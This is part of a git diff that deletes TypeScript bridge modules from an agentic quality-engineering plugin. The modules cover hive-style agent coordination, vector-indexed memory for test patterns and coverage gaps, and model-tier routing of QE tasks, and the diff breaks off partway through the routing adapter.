- keys?: string[];
-}
-
-interface HiveStatus {
- initialized: boolean;
- topology: string;
- queenId: string | null;
- workerCount: number;
- consensusAlgorithm: string;
-}
-
-interface HiveWorker {
- id: string;
- role: HiveRole;
- capabilities: string[];
- status: 'active' | 'idle' | 'busy';
- lastHeartbeat: number;
-}
-
-/**
- * QE-specific capabilities for hive workers
- */
-const QE_CAPABILITIES = {
- testGeneration: [
- 'unit-test-generation',
- 'integration-test-generation',
- 'e2e-test-generation',
- 'property-test-generation',
- ],
- testExecution: [
- 'test-execution',
- 'parallel-execution',
- 'result-aggregation',
- ],
- coverageAnalysis: [
- 'coverage-collection',
- 'gap-detection',
- 'priority-ranking',
- ],
- qualityAssessment: [
- 'quality-gate-evaluation',
- 'risk-assessment',
- 'readiness-assessment',
- ],
- securityCompliance: [
- 'sast-scanning',
- 'dast-scanning',
- 'compliance-checking',
- ],
-} as const;
-
-/**
- * QE Hive Bridge Implementation
- *
- * Bridges agentic-qe coordination needs to V3's Hive-Mind.
- * Manages Queen registration, worker spawning, and BFT execution.
- */
-export class QEHiveBridge implements IQEHiveBridge {
- private hiveMind: IHiveMindService;
- private logger: QELogger;
- private queenId: string;
- private spawnedWorkers: Map<string, string> = new Map(); // workerId -> agentType
- private initialized: boolean = false;
-
- constructor(
- hiveMind: IHiveMindService,
- logger: QELogger
- ) {
- this.hiveMind = hiveMind;
- this.logger = logger;
- this.queenId = `aqe-queen-${Date.now()}`;
- }
-
- /**
- * Get the Queen identifier
- */
- getQueenId(): string {
- return this.queenId;
- }
-
- /**
- * Register QE Queen with Hive Mind
- */
- async registerQueen(): Promise<void> {
- if (this.initialized) {
- this.logger.debug('QE Queen already registered');
- return;
- }
-
- try {
- this.logger.info(`Registering QE Queen: ${this.queenId}`);
-
- await this.hiveMind.join({
- agentId: this.queenId,
- role: 'queen',
- capabilities: [
- 'qe-coordination',
- 'test-orchestration',
- 'coverage-coordination',
- 'quality-gate-enforcement',
- 'security-scan-coordination',
- ],
- metadata: {
- source: 'agentic-qe',
- version: '3.2.3',
- contexts: [
- 'test-generation',
- 'test-execution',
- 'coverage-analysis',
- 'quality-assessment',
- 'defect-intelligence',
- 'security-compliance',
- ],
- },
- });
-
- this.initialized = true;
- this.logger.info('QE Queen registered successfully');
- } catch (error) {
- this.logger.error('Failed to register QE Queen', error);
- throw new QEHiveError('Failed to register Queen', error as Error);
- }
- }
-
- /**
- * Spawn a QE worker and join to hive
- */
- async spawnQEWorker(agentType: string, context: string): Promise<string> {
- this.ensureInitialized();
-
- try {
- const workerId = `aqe-${agentType}-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
- this.logger.info(`Spawning QE worker: ${workerId} (type: ${agentType}, context: ${context})`);
-
- // Get capabilities for this agent type
- const capabilities = this.getCapabilitiesForAgent(agentType, context);
-
- await this.hiveMind.join({
- agentId: workerId,
- role: 'worker',
- capabilities,
- metadata: {
- parentQueen: this.queenId,
- agentType,
- qeContext: context,
- spawnedAt: Date.now(),
- },
- });
-
- this.spawnedWorkers.set(workerId, agentType);
- this.logger.debug(`QE worker spawned: ${workerId}`);
-
- return workerId;
- } catch (error) {
- this.logger.error(`Failed to spawn QE worker: ${agentType}`, error);
- throw new QEHiveError('Failed to spawn worker', error as Error);
- }
- }
-
- /**
- * Coordinate a QE swarm task
- */
- async coordinateQESwarm(task: QESwarmTask): Promise<QESwarmResult> {
- this.ensureInitialized();
-
- try {
- this.logger.info(`Coordinating QE swarm task: ${task.id} (agents: ${task.agents.join(', ')})`);
-
- // 1. Propose task allocation via consensus
- const consensusResult = await this.proposeTaskAllocation(task, task.agents);
-
- if (!consensusResult.accepted) {
- this.logger.warn(`Task allocation rejected: ${consensusResult.reason}`);
- return {
- taskId: task.id,
- agentResults: [],
- completedAgents: 0,
- totalAgents: task.agents.length,
- success: false,
- aggregatedOutput: { error: consensusResult.reason },
- };
- }
-
- // 2. Broadcast task to allocated workers
- await this.broadcastTask(task);
-
- // 3. Collect results from workers
- const results = await this.collectResults(task);
-
- // 4. Aggregate results
- const success = results.filter((r) => r.success).length >= Math.ceil(task.agents.length / 2);
-
- const swarmResult: QESwarmResult = {
- taskId: task.id,
- agentResults: results,
- completedAgents: results.length,
- totalAgents: task.agents.length,
- success,
- aggregatedOutput: this.aggregateResults(results),
- };
-
- this.logger.info(`QE swarm task complete: ${task.id} (success: ${success})`);
- return swarmResult;
- } catch (error) {
- this.logger.error(`QE swarm task failed: ${task.id}`, error);
- throw new QEHiveError('Swarm coordination failed', error as Error);
- }
- }
-
- /**
- * Execute operation with Byzantine fault tolerance
- */
- async executeWithBFT<T>(
- operation: () => Promise<T>,
- replicaCount: number = 3
- ): Promise<T> {
- this.ensureInitialized();
-
- this.logger.debug(`Executing operation with BFT (replicas: ${replicaCount})`);
-
- const results: T[] = [];
- const errors: Error[] = [];
-
- // Execute operation on multiple replicas
- const promises = Array(replicaCount).fill(null).map(async (_, i) => {
- try {
- const result = await operation();
- return { success: true, result, index: i };
- } catch (error) {
- return { success: false, error: error as Error, index: i };
- }
- });
-
- const outcomes = await Promise.all(promises);
-
- for (const outcome of outcomes) {
- if (outcome.success) {
- results.push(outcome.result as T);
- } else {
- errors.push(outcome.error as Error);
- }
- }
-
- // BFT requires 2f+1 agreeing results (f = max faults tolerated)
- // For 3 replicas: f=1, need 2 agreeing
- // For 5 replicas: f=2, need 3 agreeing
- const maxFaults = Math.floor((replicaCount - 1) / 3);
- const requiredAgreement = 2 * maxFaults + 1;
-
- if (results.length < requiredAgreement) {
- this.logger.error(`BFT consensus failed: ${results.length}/${replicaCount} replicas succeeded`);
- throw new QEHiveError(
- `BFT consensus failed: only ${results.length}/${replicaCount} replicas succeeded`,
- errors[0]
- );
- }
-
- // Return first successful result (in production, would compare for consensus)
- this.logger.debug(`BFT consensus achieved: ${results.length}/${replicaCount} replicas agreed`);
- return results[0];
- }
-
- /**
- * Propose task allocation via consensus
- */
- async proposeTaskAllocation(
- task: QESwarmTask,
- requiredAgents: string[]
- ): Promise<ConsensusResult> {
- this.ensureInitialized();
-
- try {
- this.logger.debug(`Proposing task allocation: ${task.id}`);
-
- const result = await this.hiveMind.consensus({
- action: 'propose',
- type: 'qe-task-allocation',
- value: {
- taskId: task.id,
- taskType: task.type,
- requiredAgents,
- priority: task.priority,
- proposedBy: this.queenId,
- timestamp: Date.now(),
- },
- });
-
- return {
- accepted: result.accepted,
- reason: result.reason,
- votesFor: result.votesFor,
- votesAgainst: result.votesAgainst,
- totalVoters: result.totalVoters,
- };
- } catch (error) {
- this.logger.error('Task allocation proposal failed', error);
- throw new QEHiveError('Consensus proposal failed', error as Error);
- }
- }
-
- /**
- * Broadcast result to hive
- */
- async broadcastResult(taskId: string, result: QESwarmResult): Promise<void> {
- this.ensureInitialized();
-
- try {
- this.logger.debug(`Broadcasting result for task: ${taskId}`);
-
- await this.hiveMind.broadcast({
- message: JSON.stringify({
- type: 'qe-result',
- taskId,
- result: {
- success: result.success,
- completedAgents: result.completedAgents,
- totalAgents: result.totalAgents,
- aggregatedOutput: result.aggregatedOutput,
- },
- }),
- priority: result.success ? 'normal' : 'high',
- fromId: this.queenId,
- });
-
- this.logger.debug(`Result broadcast complete for task: ${taskId}`);
- } catch (error) {
- this.logger.error(`Failed to broadcast result: ${taskId}`, error);
- throw new QEHiveError('Result broadcast failed', error as Error);
- }
- }
-
- /**
- * Store QE state in hive memory
- */
- async storeQEState(key: string, value: unknown): Promise<void> {
- this.ensureInitialized();
-
- try {
- const qeKey = `qe:${key}`;
- this.logger.debug(`Storing QE state: ${qeKey}`);
-
- await this.hiveMind.memory({
- action: 'set',
- key: qeKey,
- value: JSON.stringify(value),
- });
- } catch (error) {
- this.logger.error(`Failed to store QE state: ${key}`, error);
- throw new QEHiveError('Failed to store state', error as Error);
- }
- }
-
- /**
- * Retrieve QE state from hive memory
- */
- async getQEState<T>(key: string): Promise<T | null> {
- this.ensureInitialized();
-
- try {
- const qeKey = `qe:${key}`;
- const result = await this.hiveMind.memory({
- action: 'get',
- key: qeKey,
- });
-
- if (!result.value) return null;
-
- return JSON.parse(result.value) as T;
- } catch (error) {
- this.logger.error(`Failed to get QE state: ${key}`, error);
- return null;
- }
- }
-
- /**
- * Leave the hive (cleanup)
- */
- async leave(): Promise<void> {
- if (!this.initialized) return;
-
- try {
- this.logger.info('QE Queen leaving hive...');
-
- // Remove all spawned workers
- for (const [workerId] of this.spawnedWorkers) {
- try {
- await this.hiveMind.leave(workerId);
- this.logger.debug(`Worker removed: ${workerId}`);
- } catch {
- // Best effort cleanup
- }
- }
- this.spawnedWorkers.clear();
-
- // Remove queen
- await this.hiveMind.leave(this.queenId);
- this.initialized = false;
-
- this.logger.info('QE Queen left hive successfully');
- } catch (error) {
- this.logger.error('Error leaving hive', error);
- throw new QEHiveError('Failed to leave hive', error as Error);
- }
- }
-
- /**
- * Broadcast task to allocated workers
- */
- private async broadcastTask(task: QESwarmTask): Promise<void> {
- await this.hiveMind.broadcast({
- message: JSON.stringify({
- type: 'qe-task',
- taskId: task.id,
- taskType: task.type,
- payload: task.payload,
- timeout: task.timeout,
- assignedAgents: task.agents,
- }),
- priority: task.priority === 'critical' ? 'critical' : 'normal',
- fromId: this.queenId,
- });
- }
-
- /**
- * Collect results from workers
- */
- private async collectResults(task: QESwarmTask): Promise<AgentTaskResult[]> {
- const results: AgentTaskResult[] = [];
- const timeout = task.timeout || 30000;
- const startTime = Date.now();
-
- // Poll for results
- while (Date.now() - startTime < timeout) {
- const resultData = await this.getQEState<AgentTaskResult[]>(`task-results:${task.id}`);
-
- if (resultData && resultData.length >= task.agents.length) {
- return resultData;
- }
-
- // Wait before polling again
- await this.sleep(500);
- }
-
- // Return partial results on timeout
- this.logger.warn(`Task ${task.id} timed out, returning partial results`);
- const partialResults = await this.getQEState<AgentTaskResult[]>(`task-results:${task.id}`);
- return partialResults || [];
- }
-
- /**
- * Aggregate results from multiple agents
- */
- private aggregateResults(results: AgentTaskResult[]): Record<string, unknown> {
- const successCount = results.filter((r) => r.success).length;
- const failureCount = results.filter((r) => !r.success).length;
-
- // Merge outputs
- const mergedOutput: Record<string, unknown> = {};
- for (const result of results) {
- if (result.success && result.output) {
- Object.assign(mergedOutput, result.output);
- }
- }
-
- return {
- summary: {
- total: results.length,
- successful: successCount,
- failed: failureCount,
- successRate: results.length > 0 ? successCount / results.length : 0,
- },
- errors: results.filter((r) => !r.success).map((r) => ({
- agentId: r.agentId,
- error: r.error,
- })),
- mergedOutput,
- };
- }
-
- /**
- * Get capabilities for an agent type
- */
- private getCapabilitiesForAgent(agentType: string, context: string): string[] {
- const baseCapabilities = [`context:${context}`, agentType];
-
- // Add context-specific capabilities
- if (context.includes('test-generation')) {
- baseCapabilities.push(...QE_CAPABILITIES.testGeneration);
- } else if (context.includes('test-execution')) {
- baseCapabilities.push(...QE_CAPABILITIES.testExecution);
- } else if (context.includes('coverage')) {
- baseCapabilities.push(...QE_CAPABILITIES.coverageAnalysis);
- } else if (context.includes('quality')) {
- baseCapabilities.push(...QE_CAPABILITIES.qualityAssessment);
- } else if (context.includes('security')) {
- baseCapabilities.push(...QE_CAPABILITIES.securityCompliance);
- }
-
- return baseCapabilities;
- }
-
- /**
- * Ensure bridge is initialized
- */
- private ensureInitialized(): void {
- if (!this.initialized) {
- throw new QEHiveError('QEHiveBridge not initialized. Call registerQueen() first.');
- }
- }
-
- /**
- * Sleep helper
- */
- private sleep(ms: number): Promise<void> {
- return new Promise((resolve) => setTimeout(resolve, ms));
- }
-}
-
-/**
- * QE Hive Error class
- */
-export class QEHiveError extends Error {
- public readonly cause?: Error;
-
- constructor(message: string, cause?: Error) {
- super(message);
- this.name = 'QEHiveError';
- this.cause = cause;
- }
-}
diff --git a/v3/plugins/agentic-qe/src/bridges/QEMemoryBridge.ts b/v3/plugins/agentic-qe/src/bridges/QEMemoryBridge.ts
deleted file mode 100644
index 72c53a1445..0000000000
--- a/v3/plugins/agentic-qe/src/bridges/QEMemoryBridge.ts
+++ /dev/null
@@ -1,542 +0,0 @@
-/**
- * QE Memory Bridge
- *
- * Anti-corruption layer for V3 memory system integration.
- * Handles storage and retrieval of test patterns, coverage data,
- * and learning trajectories via HNSW-indexed memory.
- *
- * Performance: 150x-12,500x faster search via HNSW indexing
- *
- * Based on:
- * - ADR-030: Agentic-QE Plugin Integration
- * - ADR-006: Unified Memory Service
- *
- * @module v3/plugins/agentic-qe/bridges/QEMemoryBridge
- */
-
-import type {
- IQEMemoryBridge,
- TestPattern,
- PatternFilters,
- CoverageGap,
- LearningTrajectory,
- QEMemoryStats,
- QELogger,
-} from '../interfaces.js';
-
-// V3 Memory types (would be imported from @claude-flow/memory in production)
-interface IMemoryService {
- createNamespace(name: string, config: NamespaceConfig): Promise<void>;
- store(entry: StoreEntry): Promise<string>;
- search(embedding: Float32Array, k: number, options?: SearchOptions): Promise<SearchResult[]>;
- query(query: QuerySpec): Promise<MemoryEntry[]>;
- delete(id: string): Promise<boolean>;
- clearNamespace(namespace: string): Promise<number>;
- getStats(): Promise<MemoryStats>;
-}
-
-interface NamespaceConfig {
- vectorDimension: number;
- hnswConfig: { m: number; efConstruction: number; efSearch: number };
- schema?: Record<string, { type: string; index?: boolean }>;
-}
-
-interface StoreEntry {
- namespace: string;
- content: string;
- embedding?: Float32Array;
- metadata?: Record<string, unknown>;
- type?: string;
- ttl?: number;
-}
-
-interface SearchOptions {
- namespace?: string;
- filters?: Record<string, unknown>;
-}
-
-interface SearchResult {
- id: string;
- content: string;
- score: number;
- metadata?: Record<string, unknown>;
-}
-
-interface MemoryEntry {
- id: string;
- content: string;
- metadata?: Record<string, unknown>;
-}
-
-interface QuerySpec {
- namespace: string;
- filters?: Record<string, unknown>;
- limit?: number;
-}
-
-interface MemoryStats {
- totalEntries: number;
- entriesByNamespace: Record<string, number>;
- memoryUsage: number;
-}
-
-// V3 Embeddings types (would be imported from @claude-flow/embeddings in production)
-interface IEmbeddingsService {
- embed(text: string): Promise<{ embedding: Float32Array }>;
-}
-
-/**
- * Memory namespace definitions for QE data
- */
-const QE_NAMESPACES = {
- testPatterns: {
- name: 'aqe/v3/test-patterns',
- vectorDimension: 384,
- hnswConfig: { m: 16, efConstruction: 200, efSearch: 100 },
- schema: {
- patternType: { type: 'string', index: true },
- language: { type: 'string', index: true },
- framework: { type: 'string', index: true },
- effectiveness: { type: 'number' },
- usageCount: { type: 'number' },
- },
- },
- coverageData: {
- name: 'aqe/v3/coverage-data',
- vectorDimension: 384,
- hnswConfig: { m: 12, efConstruction: 150, efSearch: 50 },
- schema: {
- filePath: { type: 'string', index: true },
- type: { type: 'string', index: true },
- riskScore: { type: 'number' },
- priority: { type: 'string', index: true },
- },
- ttl: 86400000, // 24h
- },
- learningTrajectories: {
- name: 'aqe/v3/learning-trajectories',
- vectorDimension: 384,
- hnswConfig: { m: 16, efConstruction: 200, efSearch: 100 },
- schema: {
- taskType: { type: 'string', index: true },
- agentId: { type: 'string', index: true },
- success: { type: 'boolean', index: true },
- reward: { type: 'number' },
- },
- },
- codeKnowledge: {
- name: 'aqe/v3/code-knowledge',
- vectorDimension: 384,
- hnswConfig: { m: 24, efConstruction: 300, efSearch: 150 },
- },
- securityFindings: {
- name: 'aqe/v3/security-findings',
- vectorDimension: 384,
- hnswConfig: { m: 16, efConstruction: 200, efSearch: 100 },
- },
-} as const;
-
-/**
- * QE Memory Bridge Implementation
- *
- * Bridges agentic-qe memory needs to V3's unified memory service.
- * Uses HNSW indexing for 150x-12,500x faster pattern search.
- */
-export class QEMemoryBridge implements IQEMemoryBridge {
- private memory: IMemoryService;
- private embeddings: IEmbeddingsService;
- private logger: QELogger;
- private initialized: boolean = false;
-
- constructor(
- memory: IMemoryService,
- embeddings: IEmbeddingsService,
- logger: QELogger
- ) {
- this.memory = memory;
- this.embeddings = embeddings;
- this.logger = logger;
- }
-
- /**
- * Initialize all QE memory namespaces
- */
- async initialize(): Promise<void> {
- if (this.initialized) {
- this.logger.debug('QEMemoryBridge already initialized');
- return;
- }
-
- this.logger.info('Initializing QE memory namespaces...');
-
- try {
- // Create all namespaces
- for (const [key, config] of Object.entries(QE_NAMESPACES)) {
- this.logger.debug(`Creating namespace: ${config.name}`);
- await this.memory.createNamespace(config.name, {
- vectorDimension: config.vectorDimension,
- hnswConfig: config.hnswConfig,
- schema: config.schema,
- });
- }
-
- this.initialized = true;
- this.logger.info('QE memory namespaces initialized successfully');
- } catch (error) {
- this.logger.error('Failed to initialize QE memory namespaces', error);
- throw new QEMemoryError('Failed to initialize memory namespaces', error as Error);
- }
- }
-
- /**
- * Store a test pattern with semantic embedding
- */
- async storeTestPattern(pattern: TestPattern): Promise<string> {
- this.ensureInitialized();
-
- try {
- this.logger.debug(`Storing test pattern: ${pattern.id}`);
-
- // Generate embedding from pattern description and code
- const embeddingText = `${pattern.type} ${pattern.description} ${pattern.code}`;
- const { embedding } = await this.embeddings.embed(embeddingText);
-
- // Store in memory with metadata
- const id = await this.memory.store({
- namespace: QE_NAMESPACES.testPatterns.name,
- content: JSON.stringify(pattern),
- embedding,
- metadata: {
- patternType: pattern.type,
- language: pattern.language,
- framework: pattern.framework,
- effectiveness: pattern.effectiveness,
- usageCount: pattern.usageCount,
- tags: pattern.tags,
- },
- type: 'semantic',
- });
-
- this.logger.debug(`Stored test pattern with ID: ${id}`);
- return id;
- } catch (error) {
- this.logger.error(`Failed to store test pattern: ${pattern.id}`, error);
- throw new QEMemoryError('Failed to store test pattern', error as Error);
- }
- }
-
- /**
- * Search for similar patterns using HNSW (150x faster)
- */
- async searchSimilarPatterns(
- query: string,
- k: number = 10,
- filters?: PatternFilters
- ): Promise<TestPattern[]> {
- this.ensureInitialized();
-
- try {
- this.logger.debug(`Searching similar patterns: "${query.slice(0, 50)}..."`);
-
- // Generate query embedding
- const { embedding } = await this.embeddings.embed(query);
-
- // Build filter object for HNSW search
- const searchFilters = this.buildPatternFilters(filters);
-
- // Execute HNSW search (150x-12,500x faster than brute force)
- const results = await this.memory.search(embedding, k, {
- namespace: QE_NAMESPACES.testPatterns.name,
- filters: searchFilters,
- });
-
- // Parse results back to TestPattern objects
- const patterns = results.map((result) => {
- try {
- return JSON.parse(result.content) as TestPattern;
- } catch {
- this.logger.warn(`Failed to parse pattern content: ${result.id}`);
- return null;
- }
- }).filter((p): p is TestPattern => p !== null);
-
- this.logger.debug(`Found ${patterns.length} similar patterns`);
- return patterns;
- } catch (error) {
- this.logger.error('Failed to search similar patterns', error);
- throw new QEMemoryError('Failed to search patterns', error as Error);
- }
- }
-
- /**
- * Store a coverage gap
- */
- async storeCoverageGap(gap: CoverageGap): Promise<string> {
- this.ensureInitialized();
-
- try {
- this.logger.debug(`Storing coverage gap: ${gap.file}:${gap.location.startLine}`);
-
- // Generate embedding for semantic search
- const embeddingText = `coverage gap ${gap.file} ${gap.type} ${gap.location.startLine} ${gap.reason}`;
- const { embedding } = await this.embeddings.embed(embeddingText);
-
- const id = await this.memory.store({
- namespace: QE_NAMESPACES.coverageData.name,
- content: JSON.stringify(gap),
- embedding,
- metadata: {
- filePath: gap.file,
- type: gap.type,
- riskScore: gap.riskScore,
- priority: gap.priority,
- startLine: gap.location.startLine,
- endLine: gap.location.endLine,
- },
- type: 'episodic',
- ttl: QE_NAMESPACES.coverageData.ttl,
- });
-
- this.logger.debug(`Stored coverage gap with ID: ${id}`);
- return id;
- } catch (error) {
- this.logger.error('Failed to store coverage gap', error);
- throw new QEMemoryError('Failed to store coverage gap', error as Error);
- }
- }
-
- /**
- * Get coverage gaps for a specific file
- */
- async getCoverageGaps(file: string): Promise<CoverageGap[]> {
- this.ensureInitialized();
-
- try {
- this.logger.debug(`Getting coverage gaps for file: ${file}`);
-
- const results = await this.memory.query({
- namespace: QE_NAMESPACES.coverageData.name,
- filters: { filePath: file },
- limit: 100,
- });
-
- const gaps = results.map((result) => {
- try {
- return JSON.parse(result.content) as CoverageGap;
- } catch {
- return null;
- }
- }).filter((g): g is CoverageGap => g !== null);
-
- this.logger.debug(`Found ${gaps.length} coverage gaps for ${file}`);
- return gaps;
- } catch (error) {
- this.logger.error(`Failed to get coverage gaps for ${file}`, error);
- throw new QEMemoryError('Failed to get coverage gaps', error as Error);
- }
- }
-
- /**
- * Get prioritized coverage gaps
- */
- async getPrioritizedGaps(limit: number = 20): Promise<CoverageGap[]> {
- this.ensureInitialized();
-
- try {
- this.logger.debug(`Getting prioritized coverage gaps, limit: ${limit}`);
-
- // Query all gaps and sort by priority and risk score
- const results = await this.memory.query({
- namespace: QE_NAMESPACES.coverageData.name,
- limit: limit * 2, // Fetch more to allow for filtering
- });
-
- const gaps = results.map((result) => {
- try {
- return JSON.parse(result.content) as CoverageGap;
- } catch {
- return null;
- }
- }).filter((g): g is CoverageGap => g !== null);
-
- // Sort by priority (critical > high > medium > low) then by risk score
- const priorityOrder = { critical: 0, high: 1, medium: 2, low: 3 };
- gaps.sort((a, b) => {
- const priorityDiff = priorityOrder[a.priority] - priorityOrder[b.priority];
- if (priorityDiff !== 0) return priorityDiff;
- return b.riskScore - a.riskScore;
- });
-
- const prioritizedGaps = gaps.slice(0, limit);
- this.logger.debug(`Returning ${prioritizedGaps.length} prioritized gaps`);
- return prioritizedGaps;
- } catch (error) {
- this.logger.error('Failed to get prioritized gaps', error);
- throw new QEMemoryError('Failed to get prioritized gaps', error as Error);
- }
- }
-
- /**
- * Store a learning trajectory for ReasoningBank
- */
- async storeTrajectory(trajectory: LearningTrajectory): Promise<string> {
- this.ensureInitialized();
-
- try {
- this.logger.debug(`Storing learning trajectory: ${trajectory.id}`);
-
- // Generate embedding from trajectory steps
- const embeddingText = trajectory.steps.map((s) => s.action).join(' ');
- const { embedding } = await this.embeddings.embed(embeddingText);
-
- const id = await this.memory.store({
- namespace: QE_NAMESPACES.learningTrajectories.name,
- content: JSON.stringify(trajectory),
- embedding,
- metadata: {
- taskType: trajectory.taskType,
- agentId: trajectory.agentId,
- success: trajectory.success,
- reward: trajectory.reward,
- verdict: trajectory.verdict,
- stepCount: trajectory.steps.length,
- durationMs: trajectory.durationMs,
- },
- type: 'procedural',
- });
-
- this.logger.debug(`Stored learning trajectory with ID: ${id}`);
- return id;
- } catch (error) {
- this.logger.error('Failed to store learning trajectory', error);
- throw new QEMemoryError('Failed to store trajectory', error as Error);
- }
- }
-
- /**
- * Search trajectories by similarity
- */
- async searchTrajectories(
- query: string,
- k: number = 10,
- filters?: { taskType?: string; success?: boolean }
- ): Promise<LearningTrajectory[]> {
- this.ensureInitialized();
-
- try {
- this.logger.debug(`Searching trajectories: "${query.slice(0, 50)}..."`);
-
- const { embedding } = await this.embeddings.embed(query);
-
- const searchFilters: Record<string, unknown> = {};
- if (filters?.taskType) searchFilters.taskType = filters.taskType;
- if (filters?.success !== undefined) searchFilters.success = filters.success;
-
- const results = await this.memory.search(embedding, k, {
- namespace: QE_NAMESPACES.learningTrajectories.name,
- filters: Object.keys(searchFilters).length > 0 ? searchFilters : undefined,
- });
-
- const trajectories = results.map((result) => {
- try {
- return JSON.parse(result.content) as LearningTrajectory;
- } catch {
- return null;
- }
- }).filter((t): t is LearningTrajectory => t !== null);
-
- this.logger.debug(`Found ${trajectories.length} similar trajectories`);
- return trajectories;
- } catch (error) {
- this.logger.error('Failed to search trajectories', error);
- throw new QEMemoryError('Failed to search trajectories', error as Error);
- }
- }
-
- /**
- * Clear temporary data (coverage data)
- */
- async clearTemporaryData(): Promise<void> {
- this.ensureInitialized();
-
- try {
- this.logger.info('Clearing temporary QE data...');
-
- const cleared = await this.memory.clearNamespace(QE_NAMESPACES.coverageData.name);
-
- this.logger.info(`Cleared ${cleared} temporary entries`);
- } catch (error) {
- this.logger.error('Failed to clear temporary data', error);
- throw new QEMemoryError('Failed to clear temporary data', error as Error);
- }
- }
-
- /**
- * Get memory statistics
- */
- async getStats(): Promise<QEMemoryStats> {
- this.ensureInitialized();
-
- try {
- const stats = await this.memory.getStats();
-
- const qeStats: QEMemoryStats = {
- testPatterns: stats.entriesByNamespace[QE_NAMESPACES.testPatterns.name] || 0,
- coverageGaps: stats.entriesByNamespace[QE_NAMESPACES.coverageData.name] || 0,
- learningTrajectories: stats.entriesByNamespace[QE_NAMESPACES.learningTrajectories.name] || 0,
- codeKnowledge: stats.entriesByNamespace[QE_NAMESPACES.codeKnowledge.name] || 0,
- securityFindings: stats.entriesByNamespace[QE_NAMESPACES.securityFindings.name] || 0,
- totalMemoryBytes: stats.memoryUsage,
- };
-
- return qeStats;
- } catch (error) {
- this.logger.error('Failed to get memory stats', error);
- throw new QEMemoryError('Failed to get stats', error as Error);
- }
- }
-
- /**
- * Build filter object for pattern search
- */
- private buildPatternFilters(filters?: PatternFilters): Record<string, unknown> | undefined {
- if (!filters) return undefined;
-
- const memoryFilters: Record<string, unknown> = {};
-
- if (filters.type) memoryFilters.patternType = filters.type;
- if (filters.language) memoryFilters.language = filters.language;
- if (filters.framework) memoryFilters.framework = filters.framework;
- if (filters.minEffectiveness !== undefined) {
- memoryFilters.effectiveness = { $gte: filters.minEffectiveness };
- }
- // Tags require special handling (array contains)
- if (filters.tags && filters.tags.length > 0) {
- memoryFilters.tags = { $containsAll: filters.tags };
- }
-
- return Object.keys(memoryFilters).length > 0 ? memoryFilters : undefined;
- }
-
- /**
- * Ensure bridge is initialized before operations
- */
- private ensureInitialized(): void {
- if (!this.initialized) {
- throw new QEMemoryError('QEMemoryBridge not initialized. Call initialize() first.');
- }
- }
-}
-
-/**
- * QE Memory Error class
- */
-export class QEMemoryError extends Error {
- public readonly cause?: Error;
-
- constructor(message: string, cause?: Error) {
- super(message);
- this.name = 'QEMemoryError';
- this.cause = cause;
- }
-}
diff --git a/v3/plugins/agentic-qe/src/bridges/QEModelRoutingAdapter.ts b/v3/plugins/agentic-qe/src/bridges/QEModelRoutingAdapter.ts
deleted file mode 100644
index c9535b28aa..0000000000
--- a/v3/plugins/agentic-qe/src/bridges/QEModelRoutingAdapter.ts
+++ /dev/null
@@ -1,385 +0,0 @@
-/**
- * QE Model Routing Adapter
- *
- * Aligns TinyDancer model routing with ADR-026 Agent Booster routing.
- * Maps QE task categories to model tiers for optimal cost/performance.
- *
- * 3-Tier Routing Strategy:
- * - Tier 1 (Agent Booster): <1ms, $0 - Simple transforms, skip LLM
- * - Tier 2 (Haiku/Sonnet): ~500ms-2s, $0.0002-$0.003 - Simple/medium tasks
- * - Tier 3 (Opus): ~5s, $0.015 - Complex reasoning, architecture
- *
- * Based on:
- * - ADR-030: Agentic-QE Plugin Integration
- * - ADR-026: Agent Booster Model Routing
- *
- * @module v3/plugins/agentic-qe/bridges/QEModelRoutingAdapter
- */
-
-import type {
- IQEModelRoutingAdapter,
- QETask,
- QERouteResult,
- ModelTier,
- ModelSelection,
- QELogger,
-} from '../interfaces.js';
-
-// V3 Router types (would be imported from @claude-flow/cli/ruvector in production)
-interface IEnhancedModelRouter {
- route(
- task: string,
- options?: { filePath?: string }
- ): Promise<EnhancedRouteResult>;
-}
-
-interface EnhancedRouteResult {
- tier: ModelTier;
- model: ModelSelection;
- agentBoosterAvailable: boolean;
- agentBoosterIntent?: string;
- explanation: string;
- confidence: number;
-}
-
-/**
- * Category to complexity mapping
- * Based on TinyDancer categories aligned with ADR-026
- */
-const CATEGORY_COMPLEXITY: Record<string, number> = {
- // Tier 1: Agent Booster (complexity < 0.2)
- 'add-test-import': 0.10,
- 'add-test-describe': 0.12,
- 'add-assertion': 0.15,
- 'add-mock': 0.18,
- 'remove-console': 0.08,
-
- // Tier 2 Haiku (complexity 0.2-0.35)
- 'generate-unit-test': 0.25,
- 'generate-mock': 0.28,
- 'analyze-coverage-line': 0.22,
- 'validate-simple-contract': 0.30,
- 'detect-flaky-test': 0.32,
- 'generate-test-fixture': 0.28,
-
- // Tier 2 Sonnet (complexity 0.35-0.6)
- 'generate-integration-test': 0.45,
- 'analyze-coverage-branch': 0.42,
- 'predict-defect-simple': 0.40,
- 'validate-contract': 0.48,
- 'generate-property-test': 0.50,
- 'refactor-test': 0.52,
- 'analyze-test-quality': 0.55,
-
- // Tier 3 Opus (complexity > 0.6)
- 'generate-e2e-test': 0.70,
- 'root-cause-analysis': 0.80,
- 'chaos-experiment-design': 0.85,
- 'security-audit-deep': 0.90,
- 'architecture-analysis': 0.92,
- 'generate-fuzzing-strategy': 0.75,
- 'design-test-strategy': 0.78,
- 'accessibility-audit': 0.72,
-};
-
-/**
- * Agent Booster intents for Tier 1 operations
- */
-const AGENT_BOOSTER_INTENTS: Record<string, string> = {
- 'add-test-import': 'add-import',
- 'add-test-describe': 'add-describe-block',
- 'add-assertion': 'add-assertion',
- 'add-mock': 'add-mock',
- 'remove-console': 'remove-console',
- 'add-test-export': 'add-export',
-};
-
-/**
- * Category to agent mapping
- */
-const CATEGORY_AGENTS: Record<string, string[]> = {
- // Test Generation
- 'generate-unit-test': ['unit-test-generator'],
- 'generate-integration-test': ['integration-test-generator', 'mock-generator', 'test-runner'],
- 'generate-e2e-test': ['e2e-test-generator', 'browser-automation', 'test-runner', 'result-aggregator', 'visual-regression-detector'],
- 'generate-property-test': ['property-test-generator', 'test-runner'],
- 'generate-mock': ['mock-generator'],
-
- // Coverage Analysis
- 'analyze-coverage-line': ['coverage-collector', 'gap-detector'],
- 'analyze-coverage-branch': ['coverage-collector', 'gap-detector', 'priority-ranker'],
-
- // Defect Intelligence
- 'predict-defect-simple': ['defect-predictor'],
- 'root-cause-analysis': ['root-cause-analyzer', 'defect-predictor', 'pattern-detector', 'knowledge-graph-builder', 'semantic-searcher'],
-
- // Security
- 'security-audit-deep': ['sast-scanner', 'dast-scanner', 'compliance-checker', 'audit-trail-manager', 'root-cause-analyzer'],
-
- // Chaos
